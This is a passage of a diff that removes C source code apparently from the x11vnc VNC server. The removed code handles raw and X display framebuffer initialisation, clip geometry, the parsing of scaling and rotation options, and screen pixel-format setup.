- b, raw_fb_addr, size);
- last_mode = 0;
- } else if (do_reflect) {
- raw_fb_mmap = size;
- rfbLog("rawfb: vnc fb: %s\n", q);
- rfbLog(" w: %d h: %d b: %d addr: %p sz: %d\n", w, h,
- b, raw_fb_addr, size);
- last_mode = 0;
-
- } else if (do_mmap) {
-#if LIBVNCSERVER_HAVE_MMAP
- raw_fb_addr = mmap(0, size, PROT_READ, MAP_SHARED,
- fd, 0);
-
- if (raw_fb_addr == MAP_FAILED || raw_fb_addr == NULL) {
- rfbLogEnable(1);
- rfbLog("failed to mmap file: %s, %s\n", q, str);
- rfbLog(" raw_fb_addr: %p\n", raw_fb_addr);
- rfbLogPerror("mmap");
-
- raw_fb_addr = NULL;
- rfbLog("mmap(2) failed, trying slower lseek(2)\n");
- raw_fb_seek = size;
- last_mode = RAWFB_FILE;
-
- } else {
- raw_fb_mmap = size;
-
- rfbLog("rawfb: mmap file: %s\n", q);
- rfbLog(" w: %d h: %d b: %d addr: %p sz: %d\n", w, h,
- b, raw_fb_addr, size);
- last_mode = RAWFB_MMAP;
- }
-#else
- rfbLog("mmap(2) not supported on system, using"
- " slower lseek(2)\n");
- raw_fb_seek = size;
- last_mode = RAWFB_FILE;
-#endif
- } else {
- raw_fb_seek = size;
- last_mode = RAWFB_FILE;
-
- rfbLog("rawfb: seek file: %s\n", q);
- rfbLog(" W: %d H: %d B: %d sz: %d\n", w, h, b, size);
- }
- } else {
- rfbLogEnable(1);
- rfbLog("invalid rawfb str: %s\n", str);
- clean_up_exit(1);
- }
-
- if (unlink_me) {
- unlink(unlink_me);
- }
-
- if (! raw_fb_image) {
- raw_fb_image = &ximage_struct;
- }
-
- initialize_clipshift();
-
- if (raw_fb_bytes_per_line == 0) {
- raw_fb_bytes_per_line = dpy_x*b/8;
-
- /*
- * Put cases here were we can determine that
- * raw_bytes_per_line != dpy_x*b/8
- */
-#ifdef MACOSX
- if (do_macosx) {
- raw_fb_bytes_per_line = macosxCG_CGDisplayBytesPerRow();
- }
-#endif
- }
-
- raw_fb_image->bytes_per_line = dpy_x * b/8;
- raw_fb = (char *) malloc(dpy_y * dpy_x * b/8);
- raw_fb_image->data = raw_fb;
- raw_fb_image->format = ZPixmap;
- raw_fb_image->width = dpy_x;
- raw_fb_image->height = dpy_y;
- raw_fb_image->bits_per_pixel = b;
- raw_fb_image->bitmap_unit = -1;
-
-
- if (use_snapfb && (raw_fb_seek || raw_fb_mmap)) {
- int b_use = b;
- if (snap_fb) {
- free(snap_fb);
- }
- if (b_use == 32 && xform24to32) {
- /*
- * The actual framebuffer (e.g. mapped addr) and
- * snap fb must be the same bpp. E.g. both 24bpp.
- * Reading FROM snap to utility image will be
- * transformed 24->32 in copy_raw_fb_24_to_32.
- *
- * addr -> snap -> (scanline, fullscreen, ...)
- */
- b_use = 24;
- raw_fb_bytes_per_line = dpy_x * b_use/8;
- }
- snap_fb = (char *) malloc(dpy_y * dpy_x * b_use/8);
- snap = &ximage_struct_snap;
- snap->data = snap_fb;
- snap->format = ZPixmap;
- snap->width = dpy_x;
- snap->height = dpy_y;
- snap->bits_per_pixel = b_use;
- snap->bytes_per_line = dpy_x * b_use/8;
- snap->bitmap_unit = -1;
- }
-
-
- raw_fb_image->red_mask = rm;
- raw_fb_image->green_mask = gm;
- raw_fb_image->blue_mask = bm;
-
- raw_fb_image->depth = 0;
- m = 1;
- for (i=0; i<32; i++) {
- if (rm & m) {
- raw_fb_image->depth++;
- }
- if (gm & m) {
- raw_fb_image->depth++;
- }
- if (bm & m) {
- raw_fb_image->depth++;
- }
- m = m << 1;
- }
- if (raw_fb_native_bpp < 8) {
- raw_fb_image->depth = raw_fb_expand_bytes * 8;
- }
- if (! raw_fb_image->depth) {
- raw_fb_image->depth = (b == 32) ? 24 : b;
- }
-
- depth = raw_fb_image->depth;
-
- if (raw_fb_image->depth == 15) {
- /* unresolved bug with RGB555... */
- depth++;
- }
-
- if (clipshift || raw_fb_native_bpp < 8) {
- memset(raw_fb, 0xff, dpy_y * raw_fb_image->bytes_per_line);
- } else if (raw_fb_addr && ! xform24to32) {
- memcpy(raw_fb, raw_fb_addr + raw_fb_offset, dpy_y * raw_fb_image->bytes_per_line);
- } else {
- memset(raw_fb, 0xff, dpy_y * raw_fb_image->bytes_per_line);
- }
-
- if (verbose) {
- rfbLog("\n");
- rfbLog("rawfb: raw_fb %p\n", raw_fb);
- rfbLog(" format %d\n", raw_fb_image->format);
- rfbLog(" width %d\n", raw_fb_image->width);
- rfbLog(" height %d\n", raw_fb_image->height);
- rfbLog(" bpp %d\n", raw_fb_image->bits_per_pixel);
- rfbLog(" depth %d\n", raw_fb_image->depth);
- rfbLog(" bpl %d\n", raw_fb_image->bytes_per_line);
- if (use_snapfb && snap_fb) {
- rfbLog(" snap_fb %p\n", snap_fb);
- }
- }
-
- free(str);
-
- return raw_fb_image;
-}
-
-static void initialize_clipshift(void) {
- clipshift = 0;
- cdpy_x = cdpy_y = coff_x = coff_y = 0;
- if (clip_str) {
- int w, h, x, y, bad = 0;
- if (parse_geom(clip_str, &w, &h, &x, &y, wdpy_x, wdpy_y)) {
- if (x < 0) {
- x = 0;
- }
- if (y < 0) {
- y = 0;
- }
- if (x + w > wdpy_x) {
- w = wdpy_x - x;
- }
- if (y + h > wdpy_y) {
- h = wdpy_y - y;
- }
- if (w <= 0 || h <= 0) {
- bad = 1;
- }
- } else {
- bad = 1;
- }
- if (bad) {
- rfbLog("*** ignoring invalid -clip WxH+X+Y: %s\n",
- clip_str);
- } else {
- /* OK, change geom behind everyone's back... */
- cdpy_x = w;
- cdpy_y = h;
- coff_x = x;
- coff_y = y;
-
- clipshift = 1;
-
- dpy_x = cdpy_x;
- dpy_y = cdpy_y;
- }
- }
-}
-
-static int wait_until_mapped(Window win) {
-#if NO_X11
- if (!win) {}
- return 0;
-#else
- int ms = 50, waittime = 30;
- time_t start = time(NULL);
- XWindowAttributes attr;
-
- while (1) {
- if (! valid_window(win, NULL, 0)) {
- if (time(NULL) > start + waittime) {
- break;
- }
- usleep(ms * 1000);
- continue;
- }
- if (dpy && ! XGetWindowAttributes(dpy, win, &attr)) {
- return 0;
- }
- if (attr.map_state == IsViewable) {
- return 1;
- }
- usleep(ms * 1000);
- }
- return 0;
-#endif /* NO_X11 */
-}
-
-/*
- * initialize a fb for the X display
- */
-XImage *initialize_xdisplay_fb(void) {
-#if NO_X11
- if (raw_fb_str) {
- return initialize_raw_fb(0);
- }
- return NULL;
-#else
- XImage *fb;
- char *vis_str = visual_str;
- int try = 0, subwin_tries = 3;
- XErrorHandler old_handler = NULL;
- int subwin_bs;
-
- if (raw_fb_str) {
- return initialize_raw_fb(0);
- }
-
- X_LOCK;
- if (subwin) {
- if (subwin_wait_mapped) {
- wait_until_mapped(subwin);
- }
- if (!valid_window((Window) subwin, NULL, 0)) {
- rfbLogEnable(1);
- rfbLog("invalid sub-window: 0x%lx\n", subwin);
- X_UNLOCK;
- clean_up_exit(1);
- }
- }
-
- if (overlay) {
- /*
- * ideally we'd like to not have to cook up the
- * visual variables but rather let it all come out
- * of XReadScreen(), however there is no way to get
- * a default visual out of it, so we pretend -visual
- * TrueColor:NN was supplied with NN usually 24.
- */
- char str[32];
- Window twin = subwin ? subwin : rootwin;
- XImage *xi;
-
- xi = xreadscreen(dpy, twin, 0, 0, 8, 8, False);
- sprintf(str, "TrueColor:%d", xi->depth);
- if (xi->depth != 24 && ! quiet) {
- rfbLog("warning: overlay image has depth %d "
- "instead of 24.\n", xi->depth);
- }
- XDestroyImage(xi);
- if (visual_str != NULL && ! quiet) {
- rfbLog("warning: replacing '-visual %s' by '%s' "
- "for use with -overlay\n", visual_str, str);
- }
- vis_str = strdup(str);
- }
-
- if (xform24to32) {
- if (DefaultDepth(dpy, scr) == 24) {
- vis_str = strdup("TrueColor:32");
- rfbLog("initialize_xdisplay_fb: vis_str set to: %s\n",
- vis_str);
- visual_id = (VisualID) 0;
- visual_depth = 0;
- set_visual_str_to_something = 1;
- }
- } else if (DefaultDepth(dpy, scr) < 8) {
- /* check very low bpp case, e.g. mono or vga16 */
- Screen *s = DefaultScreenOfDisplay(dpy);
- XImage *xi = XGetImage_wr(dpy, DefaultRootWindow(dpy), 0, 0, 2, 2, AllPlanes,
- ZPixmap);
- if (xi && xi->bits_per_pixel < 8) {
- int lowbpp = xi->bits_per_pixel;
- if (!vis_str) {
- char tmp[32];
- sprintf(tmp, "0x%x:8", (int) s->root_visual->visualid);
- vis_str = strdup(tmp);
- rfbLog("initialize_xdisplay_fb: low bpp[%d], vis_str "
- "set to: %s\n", lowbpp, vis_str);
- }
- if (using_shm) {
- using_shm = 0;
- rfbLog("initialize_xdisplay_fb: low bpp[%d], "
- "disabling shm\n", lowbpp);
- }
- visual_id = (VisualID) 0;
- visual_depth = 0;
- set_visual_str_to_something = 1;
- }
- if (xi) {
- XDestroyImage(xi);
- }
- }
-
- if (vis_str != NULL) {
- set_visual(vis_str);
- if (vis_str != visual_str) {
- free(vis_str);
- }
- }
-if (0) fprintf(stderr, "vis_str %s\n", vis_str ? vis_str : "notset");
-
- /* set up parameters for subwin or non-subwin cases: */
-
- again:
-
- if (! subwin) {
- /* full screen */
- window = rootwin;
- dpy_x = wdpy_x = DisplayWidth(dpy, scr);
- dpy_y = wdpy_y = DisplayHeight(dpy, scr);
- off_x = 0;
- off_y = 0;
- /* this may be overridden via visual_id below */
- default_visual = DefaultVisual(dpy, scr);
- } else {
- /* single window */
- XWindowAttributes attr;
-
- window = (Window) subwin;
- if (! XGetWindowAttributes(dpy, window, &attr)) {
- rfbLogEnable(1);
- rfbLog("invalid window: 0x%lx\n", window);
- X_UNLOCK;
- clean_up_exit(1);
- }
- dpy_x = wdpy_x = attr.width;
- dpy_y = wdpy_y = attr.height;
-
- subwin_bs = attr.backing_store;
-
- /* this may be overridden via visual_id below */
- default_visual = attr.visual;
-
- X_UNLOCK;
- set_offset();
- X_LOCK;
- }
-
- initialize_clipshift();
-
- /* initialize depth to reasonable value, visual_id may override */
- depth = DefaultDepth(dpy, scr);
-
-if (0) fprintf(stderr, "DefaultDepth: %d visial_id: %d\n", depth, (int) visual_id);
-
- if (visual_id) {
- int n;
- XVisualInfo vinfo_tmpl, *vinfo;
-
- /*
- * we are in here from -visual or -overlay options
- * visual_id and visual_depth were set in set_visual().
- */
-
- vinfo_tmpl.visualid = visual_id;
- vinfo = XGetVisualInfo(dpy, VisualIDMask, &vinfo_tmpl, &n);
- if (vinfo == NULL || n == 0) {
- rfbLogEnable(1);
- rfbLog("could not match visual_id: 0x%x\n",
- (int) visual_id);
- X_UNLOCK;
- clean_up_exit(1);
- }
- default_visual = vinfo->visual;
- depth = vinfo->depth;
- if (visual_depth) {
- /* force it from -visual MooColor:NN */
- depth = visual_depth;
- }
- if (! quiet) {
- fprintf(stderr, " initialize_xdisplay_fb()\n");
- fprintf(stderr, " Visual*: %p\n",
- (void *) vinfo->visual);
- fprintf(stderr, " visualid: 0x%x\n",
- (int) vinfo->visualid);
- fprintf(stderr, " screen: %d\n", vinfo->screen);
- fprintf(stderr, " depth: %d\n", vinfo->depth);
- fprintf(stderr, " class: %d\n", vinfo->class);
- fprintf(stderr, " red_mask: 0x%08lx %s\n",
- vinfo->red_mask, bitprint(vinfo->red_mask, 32));
- fprintf(stderr, " green_mask: 0x%08lx %s\n",
- vinfo->green_mask, bitprint(vinfo->green_mask, 32));
- fprintf(stderr, " blue_mask: 0x%08lx %s\n",
- vinfo->blue_mask, bitprint(vinfo->blue_mask, 32));
- fprintf(stderr, " cmap_size: %d\n",
- vinfo->colormap_size);
- fprintf(stderr, " bits b/rgb: %d\n",
- vinfo->bits_per_rgb);
- fprintf(stderr, "\n");
- }
- XFree_wr(vinfo);
- }
-
- if (! quiet) {
- rfbLog("Default visual ID: 0x%x\n",
- (int) XVisualIDFromVisual(default_visual));
- }
-
- if (subwin) {
- int shift = 0, resize = 0;
- int subwin_x, subwin_y;
- int disp_x = DisplayWidth(dpy, scr);
- int disp_y = DisplayHeight(dpy, scr);
- Window twin;
- /* subwins can be a dicey if they are changing size... */
- trapped_xerror = 0;
- old_handler = XSetErrorHandler(trap_xerror); /* reset in if(subwin) block below */
- XTranslateCoordinates(dpy, window, rootwin, 0, 0, &subwin_x,
- &subwin_y, &twin);
-
- if (wdpy_x > disp_x) {
- resize = 1;
- dpy_x = wdpy_x = disp_x - 4;
- }
- if (wdpy_y > disp_y) {
- resize = 1;
- dpy_y = wdpy_y = disp_y - 4;
- }
-
- if (subwin_x + wdpy_x > disp_x) {
- shift = 1;
- subwin_x = disp_x - wdpy_x - 3;
- }
- if (subwin_y + wdpy_y > disp_y) {
- shift = 1;
- subwin_y = disp_y - wdpy_y - 3;
- }
- if (subwin_x < 0) {
- shift = 1;
- subwin_x = 1;
- }
- if (subwin_y < 0) {
- shift = 1;
- subwin_y = 1;
- }
-
- if (resize) {
- XResizeWindow(dpy, window, wdpy_x, wdpy_y);
- }
- if (shift) {
- XMoveWindow(dpy, window, subwin_x, subwin_y);
- off_x = subwin_x;
- off_y = subwin_y;
- }
- XMapRaised(dpy, window);
- XRaiseWindow(dpy, window);
- XSync(dpy, False);
- }
- try++;
-
- if (nofb) {
- /*
- * For -nofb we do not allocate the framebuffer, so we
- * can save a few MB of memory.
- */
- fb = XCreateImage_wr(dpy, default_visual, depth, ZPixmap,
- 0, NULL, dpy_x, dpy_y, BitmapPad(dpy), 0);
-
- } else if (visual_id) {
- /*
- * we need to call XCreateImage to supply the visual
- */
- fb = XCreateImage_wr(dpy, default_visual, depth, ZPixmap,
- 0, NULL, dpy_x, dpy_y, BitmapPad(dpy), 0);
- if (fb) {
- fb->data = (char *) malloc(fb->bytes_per_line * fb->height);
- }
-
- } else {
- fb = XGetImage_wr(dpy, window, 0, 0, dpy_x, dpy_y, AllPlanes,
- ZPixmap);
- if (! quiet) {
- rfbLog("Read initial data from X display into"
- " framebuffer.\n");
- }
- }
-
- if (subwin) {
- XSetErrorHandler(old_handler);
- if (trapped_xerror || fb == NULL) {
- rfbLog("trapped GetImage at SUBWIN creation.\n");
- if (try < subwin_tries) {
- usleep(250 * 1000);
- if (!get_window_size(window, &wdpy_x, &wdpy_y)) {
- rfbLogEnable(1);
- rfbLog("could not get size of subwin "
- "0x%lx\n", subwin);
- X_UNLOCK;
- clean_up_exit(1);
- }
- goto again;
- }
- }
- trapped_xerror = 0;
-
- } else if (fb == NULL) {
- XEvent xev;
- rfbLog("initialize_xdisplay_fb: *** fb creation failed: 0x%x try: %d\n", fb, try);
-#if LIBVNCSERVER_HAVE_LIBXRANDR
- if (xrandr_present && xrandr_base_event_type) {
- int cnt = 0;
- while (XCheckTypedEvent(dpy, xrandr_base_event_type + RRScreenChangeNotify, &xev)) {
- XRRScreenChangeNotifyEvent *rev;
- rev = (XRRScreenChangeNotifyEvent *) &xev;
-
- rfbLog("initialize_xdisplay_fb: XRANDR event while redoing fb[%d]:\n", cnt++);
- rfbLog(" serial: %d\n", (int) rev->serial);
- rfbLog(" timestamp: %d\n", (int) rev->timestamp);
- rfbLog(" cfg_timestamp: %d\n", (int) rev->config_timestamp);
- rfbLog(" size_id: %d\n", (int) rev->size_index);
- rfbLog(" sub_pixel: %d\n", (int) rev->subpixel_order);
- rfbLog(" rotation: %d\n", (int) rev->rotation);
- rfbLog(" width: %d\n", (int) rev->width);
- rfbLog(" height: %d\n", (int) rev->height);
- rfbLog(" mwidth: %d mm\n", (int) rev->mwidth);
- rfbLog(" mheight: %d mm\n", (int) rev->mheight);
- rfbLog("\n");
- rfbLog("previous WxH: %dx%d\n", wdpy_x, wdpy_y);
-
- xrandr_width = rev->width;
- xrandr_height = rev->height;
- xrandr_timestamp = rev->timestamp;
- xrandr_cfg_time = rev->config_timestamp;
- xrandr_rotation = (int) rev->rotation;
-
- rfbLog("initialize_xdisplay_fb: updating XRANDR config...\n");
- XRRUpdateConfiguration(&xev);
- }
- }
-#endif
- if (try < 5) {
- XFlush_wr(dpy);
- usleep(250 * 1000);
- if (try < 3) {
- XSync(dpy, False);
- } else if (try >= 3) {
- XSync(dpy, True);
- }
- goto again;
- }
- }
- if (use_snapfb) {
- initialize_snap_fb();
- }
-
- X_UNLOCK;
-
- if (fb->bits_per_pixel == 24 && ! quiet) {
- rfbLog("warning: 24 bpp may have poor performance.\n");
- }
- return fb;
-#endif /* NO_X11 */
-}
-
-void parse_scale_string(char *str, double *factor_x, double *factor_y, int *scaling, int *blend,
- int *nomult4, int *pad, int *interpolate, int *numer, int *denom, int w_in, int h_in) {
-
- int m, n;
- char *p, *tstr;
- double f, f2;
-
- *factor_x = 1.0;
- *factor_y = 1.0;
- *scaling = 0;
- *blend = 1;
- *nomult4 = 0;
- *pad = 0;
- *interpolate = 0;
- *numer = 0, *denom = 0;
-
- if (str == NULL || str[0] == '\0') {
- return;
- }
- tstr = strdup(str);
-
- if ( (p = strchr(tstr, ':')) != NULL) {
- /* options */
- if (strstr(p+1, "nb") != NULL) {
- *blend = 0;
- }
- if (strstr(p+1, "fb") != NULL) {
- *blend = 2;
- }
- if (strstr(p+1, "n4") != NULL) {
- *nomult4 = 1;
- }
- if (strstr(p+1, "in") != NULL) {
- *interpolate = 1;
- }
- if (strstr(p+1, "pad") != NULL) {
- *pad = 1;
- }
- if (strstr(p+1, "nocr") != NULL) {
- /* global */
- scaling_copyrect = 0;
- } else if (strstr(p+1, "cr") != NULL) {
- /* global */
- scaling_copyrect = 1;
- }
- *p = '\0';
- }
-
- if (strchr(tstr, '.') != NULL) {
- double test, diff, eps = 1.0e-7;
- if (sscanf(tstr, "%lfx%lf", &f, &f2) == 2) {
- *factor_x = (double) f;
- *factor_y = (double) f2;
- } else if (sscanf(tstr, "%lf", &f) != 1) {
- rfbLogEnable(1);
- rfbLog("invalid -scale arg: %s\n", tstr);
- clean_up_exit(1);
- } else {
- *factor_x = (double) f;
- *factor_y = (double) f;
- }
- /* look for common fractions from small ints: */
- if (*factor_x == *factor_y) {
- for (n=2; n<=10; n++) {
- for (m=1; m<n; m++) {
- test = ((double) m)/ n;
- diff = *factor_x - test;
- if (-eps < diff && diff < eps) {
- *numer = m;
- *denom = n;
- break;
-
- }
- }
- if (*denom) {
- break;
- }
- }
- if (*factor_x < 0.01) {
- rfbLogEnable(1);
- rfbLog("-scale factor too small: %f\n", *factor_x);
- clean_up_exit(1);
- }
- }
- } else if (sscanf(tstr, "%dx%d", &m, &n) == 2 && w_in > 0 && h_in > 0) {
- *factor_x = ((double) m) / ((double) w_in);
- *factor_y = ((double) n) / ((double) h_in);
- } else {
- if (sscanf(tstr, "%d/%d", &m, &n) != 2) {
- if (sscanf(tstr, "%d", &m) != 1) {
- rfbLogEnable(1);
- rfbLog("invalid -scale arg: %s\n", tstr);
- clean_up_exit(1);
- } else {
- /* e.g. -scale 1 or -scale 2 */
- n = 1;
- }
- }
- if (n <= 0 || m <=0) {
- rfbLogEnable(1);
- rfbLog("invalid -scale arg: %s\n", tstr);
- clean_up_exit(1);
- }
- *factor_x = ((double) m)/ n;
- *factor_y = ((double) m)/ n;
- if (*factor_x < 0.01) {
- rfbLogEnable(1);
- rfbLog("-scale factor too small: %f\n", *factor_x);
- clean_up_exit(1);
- }
- *numer = m;
- *denom = n;
- }
- if (*factor_x == 1.0 && *factor_y == 1.0) {
- if (! quiet) {
- rfbLog("scaling disabled for factor %f %f\n", *factor_x, *factor_y);
- }
- } else {
- *scaling = 1;
- }
- free(tstr);
-}
-
-int parse_rotate_string(char *str, int *mode) {
- int m = ROTATE_NONE;
- if (str == NULL || !strcmp(str, "") || !strcmp(str, "0")) {
- m = ROTATE_NONE;
- } else if (!strcmp(str, "x")) {
- m = ROTATE_X;
- } else if (!strcmp(str, "y")) {
- m = ROTATE_Y;
- } else if (!strcmp(str, "xy") || !strcmp(str, "yx") ||
- !strcmp(str,"+180") || !strcmp(str,"-180") || !strcmp(str,"180")) {
- m = ROTATE_XY;
- } else if (!strcmp(str, "+90") || !strcmp(str, "90")) {
- m = ROTATE_90;
- } else if (!strcmp(str, "+90x") || !strcmp(str, "90x")) {
- m = ROTATE_90X;
- } else if (!strcmp(str, "+90y") || !strcmp(str, "90y")) {
- m = ROTATE_90Y;
- } else if (!strcmp(str, "-90") || !strcmp(str, "270") ||
- !strcmp(str, "+270")) {
- m = ROTATE_270;
- } else {
- rfbLog("invalid -rotate mode: %s\n", str);
- }
- if (mode) {
- *mode = m;
- }
- return m;
-}
-
-int scale_round(int len, double fac) {
- double eps = 0.000001;
-
- len = (int) (len * fac + eps);
- if (len < 1) {
- len = 1;
- }
- return len;
-}
-
-static void setup_scaling(int *width_in, int *height_in) {
- int width = *width_in;
- int height = *height_in;
-
- parse_scale_string(scale_str, &scale_fac_x, &scale_fac_y, &scaling, &scaling_blend,
- &scaling_nomult4, &scaling_pad, &scaling_interpolate,
- &scale_numer, &scale_denom, *width_in, *height_in);
-
- if (scaling) {
- width = scale_round(width, scale_fac_x);
- height = scale_round(height, scale_fac_y);
- if (scale_denom && scaling_pad) {
- /* it is not clear this padding is useful anymore */
- rfbLog("width %% denom: %d %% %d = %d\n", width,
- scale_denom, width % scale_denom);
- rfbLog("height %% denom: %d %% %d = %d\n", height,
- scale_denom, height % scale_denom);
- if (width % scale_denom != 0) {
- int w = width;
- w += scale_denom - (w % scale_denom);
- if (!scaling_nomult4 && w % 4 != 0) {
- /* need to make mult of 4 as well */
- int c = 0;
- while (w % 4 != 0 && c++ <= 5) {
- w += scale_denom;
- }
- }
- width = w;
- rfbLog("padded width to: %d (mult of %d%s\n",
- width, scale_denom, !scaling_nomult4 ?
- " and 4)" : ")");
- }
- if (height % scale_denom != 0) {
- height += scale_denom - (height % scale_denom);
- rfbLog("padded height to: %d (mult of %d)\n",
- height, scale_denom);
- }
- }
- if (!scaling_nomult4 && width % 4 != 0 && width > 2) {
- /* reset width to be multiple of 4 */
- int width0 = width;
- if ((width+1) % 4 == 0) {
- width = width+1;
- } else if ((width-1) % 4 == 0) {
- width = width-1;
- } else if ((width+2) % 4 == 0) {
- width = width+2;
- }
- rfbLog("reset scaled width %d -> %d to be a multiple of"
- " 4 (to\n", width0, width);
- rfbLog("make vncviewers happy). use -scale m/n:n4 to "
- "disable.\n");
- }
- scaled_x = width;
- scaled_y = height;
-
- *width_in = width;
- *height_in = height;
- }
-}
-
-static void setup_rotating(void) {
- char *rs = rotating_str;
-
- rotating_cursors = 1;
- if (rs && strstr(rs, "nc:") == rs) {
- rs += strlen("nc:");
- rotating_cursors = 0;
- }
-
- rotating = parse_rotate_string(rs, NULL);
- if (! rotating) {
- rotating_cursors = 0;
- }
-
- if (rotating == ROTATE_90 || rotating == ROTATE_90X ||
- rotating == ROTATE_90Y || rotating == ROTATE_270) {
- rotating_same = 0;
- } else {
- rotating_same = 1;
- }
-}
-
-static rfbBool set_xlate_wrapper(rfbClientPtr cl) {
- static int first = 1;
- if (first) {
- first = 0;
- } else if (ncache) {
- int save = ncache_xrootpmap;
- rfbLog("set_xlate_wrapper: clearing -ncache for new pixel format.\n");
- INPUT_LOCK;
- ncache_xrootpmap = 0;
- check_ncache(1, 0);
- ncache_xrootpmap = save;
- INPUT_UNLOCK;
- }
- return rfbSetTranslateFunction(cl);
-}
-
-/*
- * initialize the rfb framebuffer/screen
- */
-void initialize_screen(int *argc, char **argv, XImage *fb) {
- int have_masks = 0;
- int width = fb->width;
- int height = fb->height;
- int create_screen = screen ? 0 : 1;
- int bits_per_color;
- int fb_bpp, fb_Bpl, fb_depth;
- int locked_sends = 0;
-
- bpp = fb->bits_per_pixel;
-
- fb_bpp = (int) fb->bits_per_pixel;
- fb_Bpl = (int) fb->bytes_per_line;
- fb_depth = (int) fb->depth;
-
- rfbLog("initialize_screen: fb_depth/fb_bpp/fb_Bpl %d/%d/%d\n", fb_depth,
- fb_bpp, fb_Bpl);
-
- main_bytes_per_line = fb->bytes_per_line;
-
- if (cmap8to24) {
- if (raw_fb) {
- if (!quiet) rfbLog("disabling -8to24 mode"
- " in raw_fb mode.\n");
- cmap8to24 = 0;
- } else if (depth == 24) {
- if (fb_bpp != 32) {
- if (!quiet) rfbLog("disabling -8to24 mode:"
- " bpp != 32 with depth == 24\n");
- cmap8to24 = 0;
- }
- } else if (depth <= 16) {
- /* need to cook up the screen fb to be depth 24 */
- fb_bpp = 32;
- fb_depth = 24;
- } else {
- if (!quiet) rfbLog("disabling -8to24 mode:"
- " default depth not 16 or less\n");
- cmap8to24 = 0;
- }
- }
-
- setup_scaling(&width, &height);
-
- if (scaling) {
- rfbLog("scaling screen: %dx%d -> %dx%d\n", fb->width, fb->height, scaled_x, scaled_y);
- rfbLog("scaling screen: scale_fac_x=%.5f scale_fac_y=%.5f\n", scale_fac_x, scale_fac_y);
-
- rfb_bytes_per_line = (main_bytes_per_line / fb->width) * width;
- } else {
- rfb_bytes_per_line = main_bytes_per_line;
- }
-
- setup_rotating();
-
- if (rotating) {
- if (! rotating_same) {
- int t, b = main_bytes_per_line / fb->width;
- if (scaling) {
- rot_bytes_per_line = b * height;
- } else {
- rot_bytes_per_line = b * fb->height;
- }
- t = width;
- width = height; /* The big swap... */
- height = t;
- } else {
- rot_bytes_per_line = rfb_bytes_per_line;
- }
- }
-
-#ifndef NO_NCACHE
- if (ncache > 0 && !nofb) {
-# ifdef MACOSX
- if (! raw_fb_str || macosx_console) {
-# else
- if (! raw_fb_str) {
-# endif
-
- char *new_fb;
- int sz = fb->height * fb->bytes_per_line;
- int ns = 1+ncache;
-
- if (ncache_xrootpmap) {
- ns++;
- }
-
- new_fb = (char *) calloc((size_t) (sz * ns), 1);
- if (fb->data) {
- memcpy(new_fb, fb->data, sz);
- free(fb->data);
- }
- fb->data = new_fb;
- fb->height *= (ns);
- height *= (ns);
- ncache0 = ncache;
- }
- }
-#endif
-
- if (cmap8to24) {
- if (depth <= 8) {
- rfb_bytes_per_line *= 4;
- rot_bytes_per_line *= 4;
- } else if (depth <= 16) {
- rfb_bytes_per_line *= 2;
- rot_bytes_per_line *= 2;
- }
- }
-
- /*
- * These are just hints wrt pixel format just to let
- * rfbGetScreen/rfbNewFramebuffer proceed with reasonable
- * defaults. We manually set them in painful detail below.
- */
- bits_per_color = guess_bits_per_color(fb_bpp);
-
- if (lock_client_sends(-1) == 0) {
- lock_client_sends(1);
- locked_sends = 1;
- }
-
- /* n.b. samplesPerPixel (set = 1 here) seems to be unused. */
- if (create_screen) {
- if (use_stunnel) {
- setup_stunnel(0, argc, argv);
- }
- if (use_openssl) {
- if (use_stunnel && enc_str && !strcmp(enc_str, "none")) {
- /* emulating HTTPS oneport */
- ;
- } else {
- openssl_init(0);
- }
- }
- screen = rfbGetScreen(argc, argv, width, height,
- bits_per_color, 1, fb_bpp/8);
- if (screen && http_dir) {
- http_connections(1);
- }
- if (unix_sock) {
- unix_sock_fd = listen_unix(unix_sock);
- }
- } else {
- /* set set frameBuffer member below. */
- rfbLog("rfbNewFramebuffer(0x%x, 0x%x, %d, %d, %d, %d, %d)\n",
- screen, NULL, width, height, bits_per_color, 1, fb_bpp/8);
-
- /* these are probably overwritten, but just to be safe: */
- screen->bitsPerPixel = fb_bpp;
- screen->depth = fb_depth;
-
- rfb_new_framebuffer(screen, NULL, width, height,
- bits_per_color, 1, (int) fb_bpp/8);
- }
- if (! screen) {
- int i;
- rfbLogEnable(1);
- rfbLog("\n");
- rfbLog("failed to create rfb screen.\n");
- for (i=0; i< *argc; i++) {
- rfbLog("\t[%d] %s\n", i, argv[i]);
- }
- clean_up_exit(1);
- }
-
- if (create_screen && *argc != 1) {
- int i;
- rfbLogEnable(1);
- rfbLog("*** unrecognized option(s) ***\n");
- for (i=1; i< *argc; i++) {
- rfbLog("\t[%d] %s\n", i, argv[i]);
- }
- rfbLog("For a list of options run: x11vnc -opts\n");
- rfbLog("or for the full help: x11vnc -help\n");
- rfbLog("\n");
- rfbLog("Here is a list of removed or obsolete"
- " options:\n");
- rfbLog("\n");
- rfbLog("removed: -hints, -nohints\n");
- rfbLog("removed: -cursorposall\n");
- rfbLog("removed: -nofilexfer, now the default.\n");
- rfbLog("\n");
- rfbLog("renamed: -old_copytile, use -onetile\n");
- rfbLog("renamed: -mouse, use -cursor\n");
- rfbLog("renamed: -mouseX, use -cursor X\n");
- rfbLog("renamed: -X, use -cursor X\n");
- rfbLog("renamed: -nomouse, use -nocursor\n");
- rfbLog("renamed: -old_pointer, use -pointer_mode 1\n");
-
- clean_up_exit(1);
- }
-
- /* set up format from scratch: */
- if (rotating && ! rotating_same) {
- screen->paddedWidthInBytes = rot_bytes_per_line;
- } else {
- screen->paddedWidthInBytes = rfb_bytes_per_line;
- }
- screen->serverFormat.bitsPerPixel = fb_bpp;
- screen->serverFormat.depth = fb_depth;
- screen->serverFormat.trueColour = TRUE;
-
- screen->serverFormat.redShift = 0;
- screen->serverFormat.greenShift = 0;
- screen->serverFormat.blueShift = 0;
- screen->serverFormat.redMax = 0;
- screen->serverFormat.greenMax = 0;
- screen->serverFormat.blueMax = 0;
-
- /* these main_* formats are used generally. */
- main_red_shift = 0;
- main_green_shift = 0;
- main_blue_shift = 0;
- main_red_max = 0;
- main_green_max = 0;
- main_blue_max = 0;
- main_red_mask = fb->red_mask;
- main_green_mask = fb->green_mask;
- main_blue_mask = fb->blue_mask;
-
- have_masks = ((fb->red_mask|fb->green_mask|fb->blue_mask) != 0);
- if (force_indexed_color) {
- have_masks = 0;
- }
-
- if (cmap8to24 && depth <= 16 && dpy) {
- XVisualInfo vinfo;
- vinfo.red_mask = 0;
- vinfo.green_mask = 0;
- vinfo.blue_mask = 0;
- /* more cooking up... */
- have_masks = 2;
- /* need to fetch TrueColor visual */
- X_LOCK;
- if (dpy
-#if !NO_X11
